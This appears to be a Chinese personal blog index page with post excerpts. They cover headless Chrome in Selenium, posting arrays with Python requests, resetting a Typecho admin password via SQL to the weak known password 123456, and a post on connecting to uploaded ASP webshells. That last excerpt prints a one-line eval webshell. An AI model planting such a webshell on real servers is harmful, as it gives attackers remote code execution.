为什么有这个文章

selenium在自动化工作的时候,不想每次都弹出浏览器的界面
可以参考此文的结果

chrome如何无界面启动

我猜的话,应该是启动的时候加什么参数,就可以无界面启动了
事实也如此,具体如何实现呢?
看下面的代码

from selenium import webdriver
from selenium.webdriver.chrome.options import Options

chrome_options = Options()
# 无界面
chrome_options.add_argument('--headless')
# 看字面意思是禁用GPU???
chrome_options.add_argument('--disable-gpu')
# 不加载图片
chrome_options.add_experimental_option("prefs",{"profile.managed_default_content_settings.images": 2})
browser = webdriver.Chrome(chrome_options=chrome_options)

简要

在python3中使用requests时,遇到一个需求,需要向php写的后端提交一个数组
我懒得百度了,然后就有了下文

测试一

使用如下代码:

domains = ["1.com","2.com","3.com"]
url = "http://www.qq.com/spider.php?type=add_domain"
data = {"domains": domains}
res = requests.post(url, data=data, proxies={"http":"http://127.0.0.1:8080"}).text


- 阅读剩余部分 -

原因

最近时间多了,准备登进博客看一看,发现密码忘记了
还好服务器密码没有忘记,网上找了一下,好像并没有typecho1.1版本忘记密码的解决办法
最后没办法本地搭建一套新的,然后把数据库里的账户密码copy一份,解决!

获取配置信息

网站根目录下的config.inc.php中获取数据库信息
链接数据库后执行以下语句:

UPDATE typecho_users SET PASSWORD = '$P$BfpuGkuI0iIH/4/eLbkYXcRpWyN0Je0' WHERE uid = 1;
UPDATE typecho_users SET authcode = 'ff576420bcabf63885dd553174dbaa77ef2f641e' WHERE uid = 1;

后台登录

然后重新使用密码123456登录

注意

本文中的shell皆指asp环境下的shell

为什么我会说还有一个更高效的连接shell的方法

很多时候我们上传的shell并不只是shell,还有其他的垃圾数据
比如正常的shell我们上传到服务器的内容如下:

<%eval request("MH")%>


- 阅读剩余部分 -